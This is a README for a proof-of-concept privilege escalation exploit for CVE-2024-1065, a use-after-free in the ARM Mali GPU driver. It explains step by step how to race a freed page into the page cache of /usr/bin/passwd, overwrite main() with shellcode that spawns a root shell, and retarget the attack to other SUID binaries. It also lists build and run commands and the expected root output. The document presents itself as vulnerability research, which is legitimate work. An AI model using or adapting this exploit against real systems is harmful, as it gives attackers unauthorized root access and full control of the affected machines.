CVE-2024-1065 — Page Cache Exploitation PoC

Proof-of-concept exploit for CVE-2024-1065, a physical page use-after-free in the ARM Mali GPU kernel driver. The exploit demonstrates page cache exploitation: racing a freed MIGRATE_MOVABLE page into the in-memory code image of a SUID binary, then overwriting it to achieve arbitrary code execution as root without modifying any file on disk.

Research purposes only. This PoC targets a patched vulnerability on a controlled x86 test system. The vulnerable code path cannot be triggered from userspace on production Pixel devices.

How It Works

1. Trigger UAF — An anonymous page is imported into the Mali GPU driver via KBASE_IOCTL_MEM_IMPORT and mapped twice into userspace. Freeing both mappings returns the physical page to the MIGRATE_MOVABLE buddy freelist while cpu_mapping2 still aliases it.

2. Spray page cache — The exploit opens /usr/bin/passwd 100 times and repeatedly evicts the page at PAGE_OFFSET with posix_fadvise(POSIX_FADV_DONTNEED), then triggers a cache miss with pread. Each miss forces the kernel to allocate a fresh MIGRATE_MOVABLE page, cycling the freelist until the UAF page is chosen.

3. Confirm overlap — A probe byte read through cpu_mapping2 at MAIN_OFFSET confirms the UAF page now backs the binary's page cache entry. Values 0x00 and 0x61 indicate failure; anything else is real binary code.

4. Inject shellcode — memcpy through cpu_mapping2 overwrites main() with shellcode that calls setuid(0), setgid(0), and execve("/bin/sh").

5. Execute — execve("/usr/bin/passwd") is called. The ELF loader maps the binary's page cache pages executable. The corrupted page is already present — no disk read occurs — so the shellcode runs as root.

Requirements

Build

gcc -O2 -o exploit exploit.c

Usage

./exploit

Expected output:

[*] Opened /usr/bin/passwd x100
[*] MEM_IMPORT: flags=0x...  gpu_va=0x...  va_pages=0x1
[*] gpu_mapping  (VA 1): 0x...
[*] cpu_mapping2 (VA 2): 0x...
[*] UAF triggered — stale mapping alive at 0x...
[*] Spraying page cache (100 attempts)...
[+] Overlap confirmed on attempt N (byte=0xf3) — cpu_mapping2 aliases the page cache!
[*] Shellcode written. Triggering execve...
# id
uid=0(root) gid=0(root) groups=0(root)

Retargeting

All target-specific values are defined at the top of exploit.c:

#define TARGET_BINARY  "/usr/bin/passwd"
#define PAGE_OFFSET    0x4000   /* file offset of the page containing main() */
#define MAIN_OFFSET    0xbc0    /* intra-page offset of main()               */

To retarget to a different binary, find the function offset by disassembling _start at the entry point address (readelf -h), then compute:

PAGE_OFFSET = sym_va & ~0xfff
MAIN_OFFSET = sym_va &  0xfff

Verify before running:

dd if=<TARGET_BINARY> bs=1 skip=$((PAGE_OFFSET + MAIN_OFFSET)) count=8 2>/dev/null | xxd

Troubleshooting

References

• CVE-2024-1065 — Project Zero bug report
• Dirty Pagetable — Black Hat USA 2023
• The Dirty Pipe Vulnerability (CVE-2022-0847)